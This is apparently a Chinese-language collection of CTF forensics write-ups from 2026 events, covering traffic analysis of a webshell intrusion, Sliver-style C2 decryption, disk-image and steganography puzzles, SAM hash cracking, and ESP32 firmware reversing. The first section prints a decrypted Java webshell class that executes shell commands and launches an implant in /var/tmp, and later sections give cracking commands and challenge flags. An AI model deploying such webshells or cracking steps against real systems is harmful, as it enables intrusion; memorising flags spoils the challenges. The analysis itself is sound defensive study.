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之后继续这样提取后续的流量,可以还原出发送的文件
省略提取过程……
之后在40553流的最后一次请求响应中,看到传输完毕。

响应:

[ {"size":"4096","perm":"rwxr-xr-x","name":".","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"4096","perm":"rwxr-xr-x","name":"..","lastModified":"2026/01/06 03:43:19","type":"directory"}, {"size":"10790868","perm":"rw-r--r--","name":"out","lastModified":"2026/01/06 05:59:09","type":"file"}]上传已成功: 目录中现在多了一个名为 out 的文件。其大小为 10,790,868 字节(约 10.29 MB)。
在流40562,我们看到了最后的请求:


package org.zhnnj;
import java.io.BufferedReader;import java.io.InputStreamReader;import java.lang.reflect.Method;import java.nio.charset.Charset;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;
public class Imrdoaaxs { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session;
public Imrdoaaxs() { cmd = ""; cmd = cmd + "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="; path = ""; path = path + "/var/tmp/"; super(); }
public boolean equals(Object obj) { HashMap result = new HashMap(); boolean var13 = false;
Object so; Method write; label77: { try { var13 = true; this.fillContext(obj); result.put("msg", this.RunCMD(cmd)); result.put("status", status); var13 = false; break label77; } catch (Exception var17) { result.put("msg", var17.getMessage()); result.put("status", "fail"); var13 = false; } finally { if (var13) { try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var14) { }
} }
try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var15) { }
return true; }
try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var16) { }
return true; }
private String RunCMD(String cmd) throws Exception { Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd != null && cmd.length() > 0) { Process p; if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); }
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));
String disr; for(disr = br.readLine(); disr != null; disr = br.readLine()) { result = result + disr + "\n"; }
br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));
for(disr = br.readLine(); disr != null; disr = br.readLine()) { result = result + disr + "\n"; } }
return result; }
private String base64encode(byte[] data) throws Exception { String result = ""; String var4 = System.getProperty("java.version");
Class Base64; try { this.getClass(); Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable var7) { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = Base64.newInstance(); result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data); result = result.replace("\n", "").replace("\r", ""); }
return result; }
private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) { String key = (String)var5.next(); sb.append("\"" + key + "\":\""); String value = ((String)entity.get(key)).toString(); if (encode) { Class Base64; Object Encoder; if (version.compareTo("1.9") >= 0) { this.getClass(); Base64 = Class.forName("java.util.Base64"); Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Encoder = Base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("\n", "").replace("\r", ""); } }
sb.append(value); sb.append("\","); }
if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); }
sb.append("}"); return sb.toString(); }
private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); }
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); }
private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) { buf[i] = (byte)random.nextInt(256); }
return buf; }
private byte[] Encrypt(byte[] var1) throws Exception { String var2 = "1f2c8075acd3d118"; byte[] var3 = var2.getBytes("utf-8"); SecretKeySpec var4 = new SecretKeySpec(var3, "AES"); Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding"); var5.init(1, var4); byte[] var6 = var5.doFinal(var1);
Class var7; try { var7 = Class.forName("java.util.Base64"); Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null); var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6); } catch (Throwable var12) { var7 = Class.forName("sun.misc.BASE64Encoder"); Object var10 = var7.newInstance(); String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6); var11 = var11.replace("\n", "").replace("\r", ""); var6 = var11.getBytes(); }
return var6; }}执行了命令:
cmd = "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=";
黑客切换到了 /var/tmp/ 目录
/out 表明他已经赋予了该文件执行权限(可能是通过上一条未显示的 chmod 或者该环境默认允许执行),并开始运行这个文件
—aes-key 后面跟着的 Base64 字符串(IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=)是一个通信密钥。这说明 out 运行后,它会建立一个新的加密通道,而这个密钥就是用来解密后续 C2(控制端)指令的
(chmod +x out 后,受害机立刻发起 10.1.33.69<38162>38162> -> 10.1.243.155<7788>7788> 反连,tcp.stream = 40563)
之后的流量即为C2通信


1f00000033740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a240000005c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c1e000000e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df2341f000000bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f30000000be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd8712b0000002b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a6e0000008ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95690000005fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d524000000410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b61f0000007ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4分析特征,很明显是Sliver C2的特征,即:
| 特征 | 数据 | 对比 |
|---|---|---|
| 分块传输 | 4字节长度 + payload | 匹配 Sliver 数据块结构 |
| 小端长度 | 1f000000 → 31 bytes | Sliver 也是小端长度 |
| 二进制/加密 | hex payload | Sliver 默认加密传输 |
| 分块顺序 | 多块连续 | Sliver 会按 sequence/block 发送 |
或者通过分析提取出来的out文件:
/var/tmp/out 是一个 PyInstaller 打包的 Python implant,协议是:
4 字节小端长度
后跟 AES-GCM 数据,格式 nonce(12) + ciphertext + tag(16)我们已经有key: IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=
写脚本进行解密:
import binasciiimport base64from Crypto.Cipher import AES
def decrypt_sliver(): key_b64 = "IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=" key = base64.b64decode(key_b64)
raw_data = [ "33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a", "5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c", "e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234", "bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f", "be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871", "2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a", "8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95", "5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5", "410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6", "7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4" ]
for hex_str in raw_data: data = binascii.unhexlify(hex_str) nonce = data[:12] tag = data[-16:] ciphertext = data[12:-16]
try: cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) decrypted = cipher.decrypt_and_verify(ciphertext, tag) print(decrypted.decode('utf-8', errors='replace')) except Exception: pass
if __name__ == "__main__": decrypt_sliver()得到结果:
pwd/var/tmplsoutecho CongratulationsCongratulationsecho 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoiecho byebye这里我们得到了传输的内容,即:
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi 放在cyberchef自动识别解密后得到flag:

DesCTF 2026
张三的秘密
使用FTK imager image mount…

挂载成功:

先浏览一般主要的文件夹:
在Users\张三\Pictures\Screenshots有两张批注,
其中一个没有内容,左上角有一个fakeflag:


第二张发现了hint,结合题目信息,知道了这是Shamir’s Secret Sharing,需要五个密钥,在上图中已经发现两个。
继续查找,桌面上有一张二维码,扫描得到第三个key:


第四个key是在桌面的壁纸中,需要找到壁纸文件夹,在png的末尾找到key:
\Users\张三\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles


第五个暂时不知道如何出的…
又是羡慕火眼的一天
楚慧杯2026
Time_and_chaos
给了1-8个png,flag.png,flag.txt。
可以发现的是这些png有很多的噪点,不过可以隐约看到右上角有内容:

那么我们要做的其实是对图片进行降噪处理。
可以利用多张相似图像的统计特性进行图像降噪和恢复,通过合并多张带噪图像,使用统计方法去除噪声,最终恢复出清晰的flag图像:
import osfrom pathlib import Pathimport numpy as npfrom PIL import Image
def load_images(paths): """读取图片并转换为 numpy 数组""" return np.stack([ np.asarray(Image.open(p).convert("RGB"), dtype=np.float32) for p in paths ])
def denoise(images): """ 使用 median + mean 混合降噪 median 去除离群噪声 mean 平滑随机噪声 """ median_img = np.median(images, axis=0) mean_img = np.mean(images, axis=0)
# 混合权重 result = 0.7 * median_img + 0.3 * mean_img
return np.clip(result, 0, 255).astype(np.uint8)
def save_image(array, path): Image.fromarray(array).save(path)
def recover(paths, output): print(f"[+] 载入 {len(paths)} 张图片")
images = load_images(paths)
print("[+] 开始降噪处理") clean = denoise(images)
print("[+] 水平翻转图像") clean = np.fliplr(clean)
save_image(clean, output)
print(f"[✓] 完成 -> {output}")
if __name__ == "__main__":
candidates = [f"{i}.png" for i in range(1, 9)] + ["flag.png"]
paths = [p for p in candidates if Path(p).exists()]
if not paths: print("[-] 未找到任何图片") exit()
recover(paths, "recovered_flag.png")得到恢复图像:

可以看到一部分flag: DASCTF{Logistic_and 下一部分flag显然是flag.txt了,可以很明显看出零宽字符的隐写特征:


得到第二部分flag
SAM_and_Steg
给了sam和system文件。
使用samdump2提取hash:

476b4dddbbffde29e739b618580adb1e
使用hashcat爆破:

得到密码:!checkerboard1
binwalk检测system可以发现文件尾部嵌入了一张jpg图片:

提取图片:


使用密码解密,可以得到一个aes文件:

根据图片上的提示知道是 openssl,进行解密:
密码在sam的尾部:

openssl enc -d -aes-256-cbc -md sha256 -k p@s4w0rd -in AES256 -out 1.gztar -xvf 1.gz
DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}
VNCTF2026
ez_iot
先看附件,一个bin和capture.raw,
file命令查看,可以发现bin为Xtensa架构的可执行文件。

由于这是iot题目,而在iot背景中,Xtensa架构通常用于ESP芯片的固件,可以猜到,题目的逻辑被编译到了这个esp固件里面。
使用ghidra进行逆向分析:
app_main是esp32的入口函数:

在app_main函数中,ESP-NOW通信的设置和初始化在esp_now_init()(行0xf3-0xfd),但实际的数据发送是在sender_task任务中完成的。这是典型的ESP32编程模式:在app_main中初始化,在任务中执行主逻辑。
分析sender_task函数:

void sender_task(void *pvParameter)
{ int iVar1; FILE *fp; long lVar2; size_t len; int iVar3; int iVar4; undefined1 auStack_2c0 [4]; undefined1 uStack_2bc; undefined1 uStack_2bb; undefined1 uStack_2ba; undefined1 uStack_2b9; undefined1 uStack_2b8; undefined1 uStack_2b7; undefined1 uStack_2b6; undefined1 uStack_2b5; undefined1 auStack_2b4 [16]; undefined1 auStack_2a4 [222]; uint8_t auStack_1c6 [192]; uint8_t auStack_106 [208]; uint8_t auStack_36 [18]; size_t asStack_24 [9];
/* Unresolved local var: FILE * f@[???] Unresolved local var: long file_size@[???] Unresolved local var: uint32_t total_chunks@[???] Unresolved local var: uint8_t[250] packet@[???] Unresolved local var: uint8_t[192] chunk_data@[???] Unresolved local var: uint8_t[208] encrypted@[???] Unresolved local var: uint8_t[16] iv@[???] Unresolved local var: uint32_t seq@[???] */ fp = fopen(&DAT_3c095278,&DAT_3c095274); if (fp == (FILE *)0x0) { esp_log_timestamp(); esp_log((esp_log_config_t)0x1,&DAT_3c09528c,&DAT_3c095298); esp_log_timestamp(); esp_log((esp_log_config_t)0x1,&DAT_3c09528c,&DAT_3c0952c8); vTaskDelete((TaskHandle_t)0x0); return; } fseek(fp,0,2); lVar2 = ftell(fp); fseek(fp,0,0); iVar1 = (lVar2 + 0xbf) / 0xc0; esp_log_timestamp(); esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095314); esp_log_timestamp(); esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095350); esp_log_timestamp(); esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095378); esp_log_timestamp(); esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c09539c); esp_log_timestamp(); esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095314); iVar4 = 0; do { while( true ) { /* Unresolved local var: size_t bytes_read@[???] Unresolved local var: size_t encrypted_len@[???] Unresolved local var: size_t packet_len@[???] Unresolved local var: esp_err_t result@[???] */ while (len = fread(auStack_1c6,1,0xc0,fp), len == 0) { esp_log_timestamp(); esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c0953c0); fseek(fp,0,0); vTaskDelay(300); iVar4 = 0; } esp_fill_random(auStack_36,0x10); asStack_24[0] = 0; iVar3 = aes_encrypt(auStack_1c6,len,auStack_36,auStack_106,asStack_24); if (iVar3 == 0) break; esp_log_timestamp(); esp_log((esp_log_config_t)0x1,&DAT_3c09528c,&DAT_3c0953f8); } memcpy(auStack_2c0,MAGIC,4); uStack_2bc = (undefined1)iVar4; uStack_2bb = (undefined1)((uint)iVar4 >> 8); uStack_2ba = (undefined1)((uint)iVar4 >> 0x10); uStack_2b9 = (undefined1)((uint)iVar4 >> 0x18); uStack_2b8 = (undefined1)iVar1; uStack_2b7 = (undefined1)((uint)iVar1 >> 8); uStack_2b6 = (undefined1)((uint)iVar1 >> 0x10); uStack_2b5 = (undefined1)((uint)iVar1 >> 0x18); memcpy(auStack_2b4,auStack_36,0x10); memcpy(auStack_2a4,auStack_106,asStack_24[0]); iVar3 = esp_now_send(s_broadcast_mac,auStack_2c0,asStack_24[0] + 0x1c); if (iVar3 == 0) { esp_log_timestamp(); esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095428); } else { esp_log_timestamp(); esp_err_to_name(iVar3); esp_log((esp_log_config_t)0x1,&DAT_3c09528c,&DAT_3c095454); } iVar4 = iVar4 + 1; vTaskDelay(10); } while( true );}这是一个通过ESP-NOW发送加密文件的应用,也就可以知道,我们需要解密capture.raw文件
这里定义了数据包结构:

分析aes_encrypt:

可以得出这是AES-128-CBC加密
结合sender_task函数的fread来看,每次读取长度为0xc0(192=16x12),长度不够时PKCS#7 填充

现在还差aes的key,但是ghrida中无法看到key的值:

需要使用ida再次分析,拿到key

结合espnow的数据帧格式:

选取其中一段数据进行解析:

写出解密脚本,恢复图像:
from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport struct
AES_KEY = b"uV9vG6mZ7mS8eC8b"MAGIC = b"\xC7\xF0\x0D\x1E"STATIC_HEADER = b"\xD0\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF"INPUT_FILE = "capture.raw"OUTPUT_FILE = "decrypted.png"
with open(INPUT_FILE, 'rb') as f: raw_data = f.read()
frames = []offset = 0while True: idx = raw_data.find(STATIC_HEADER, offset) if idx == -1: break next_idx = raw_data.find(STATIC_HEADER, idx + 10) if next_idx == -1: next_idx = len(raw_data) frames.append(raw_data[idx:next_idx]) offset = next_idx
chunks_dict = {}total_chunks = 0
for frame in frames: magic_idx = frame.find(MAGIC) if magic_idx == -1: continue if magic_idx + 28 > len(frame): continue
seq, total = struct.unpack('<II', frame[magic_idx+4:magic_idx+12]) iv = frame[magic_idx+12:magic_idx+28] total_chunks = total
if len(frame) < magic_idx + 28 + 4: continue encrypted = frame[magic_idx+28:-4]
if len(encrypted) % 16 != 0: continue
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted) chunks_dict[seq] = decrypted
chunks = sorted(chunks_dict.items())with open(OUTPUT_FILE, 'wb') as f: for seq, data in chunks: if seq == total_chunks - 1: try: data = unpad(data, 16) except: pass f.write(data)
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时







